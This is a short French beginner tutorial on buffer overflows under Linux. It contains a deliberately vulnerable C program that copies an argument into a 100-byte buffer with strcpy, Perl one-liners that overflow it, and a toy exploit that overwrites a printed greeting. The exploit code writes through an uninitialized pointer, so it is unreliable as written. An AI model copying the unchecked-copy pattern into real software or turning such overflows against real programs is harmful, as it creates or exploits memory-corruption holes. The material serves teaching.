On va tout d'abord s'initier à la notion de buffer overflow. (BO).
Un BO est pour ceux qui ne pratiquent pas l'anglais, un débordement de mémoire.
C'est à dire qu'un programme va faire déborder un endroit où il a le droit d'écrire
pour écrire là où il n'a pas le droit.
Ce que vous aller voir ici n'est pas réelement un exploit mais juste une petite introduction
pour que vous compreniez mieux. Tout ceci est bien sur pour linux.
Prenez ce code source:
-----------------------------------------------------------
//---------------------------------------
// Hccc Exploit - Débutant
//---------------------------------------
main(int argc, char *argv[])
{
char hello[]="\nBonjour petit hacker :!\n\n";
char buffer[100];
if (argc == 2)
{
strcpy(buffer,argv[1]);
}
printf(hello);
}
-----------------------------------------------------------
Petite explication: le programme démarre et affiche à l'aide de printf() la chaine de caractère (=buffer)
"\nBonjour petit hacker :!\n\n". Si le programme est éxécuté avec un argument, il copie cet argument dans
dans buffer[]. Ce buffer étant d'une taille de 100 on peut le faire déborder en lançant le programme
avec une longue chaine de caractère.
Exemple en direct:
-----------------------------------------------------------
[root@localhost Desktop]# ./exemple
Bonjour petit hacker :!
-----------------------------------------------------------
Là ça marche nikel. Maintenant on met un argument
-----------------------------------------------------------
[root@localhost Desktop]# ./exemple `perl -e 'print "A"x200'`
Erreur de segmentation (core dumped)
-----------------------------------------------------------
Explication: le petit code en perl permet d'écrire 200 A. On envoie donc une chaine de 200 caractère
remplie de A. Le programme qui pouvait recevoir 100 caractères sature et modifie la mémoire dans
tous les sens :) d'où l'erreur de segmentation. Mettons tout ça à notre avantage. Les variables sont
empilés dans l'ordre inverse de leur déclaration. Donc si buffer[] déborde il va aller écrire sur hello[].
Le but est de faire changer le message affiché à l'écran. Essayez donc ceci:
-----------------------------------------------------------
[root@localhost Desktop]# ./exemple `perl -e 'print "A"x106'`
AAAAAA
-----------------------------------------------------------
Regardez ça, on a écrit 6 A de trop. ces A vont se caser dans hello[] et c'est donc ça qui va etre affiché.
C'est vraiment très simple. Voyons comment on pourrait coder un exploit qui écrirait le message que l'on
aura choisit (je vous le code en barbare pour la compréhension):
-----------------------------------------------------------
#include <stdlib.h>
main(int argc, char *argv[])
{
char **args;
args[2]=NULL;
args[1]=
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //100 A
"OVERFLOWWWWWWWW...";
if (argc != 2)
{
printf("Usage : Exploite \n");
}
execve(argv[1],args,0);
}
-----------------------------------------------------------
On l'éxécute:
-----------------------------------------------------------
[root@localhost Desktop]# ./exploite exemple
OVERFLOWWWWWWWW...
-----------------------------------------------------------
Bon beh ça marche nikel.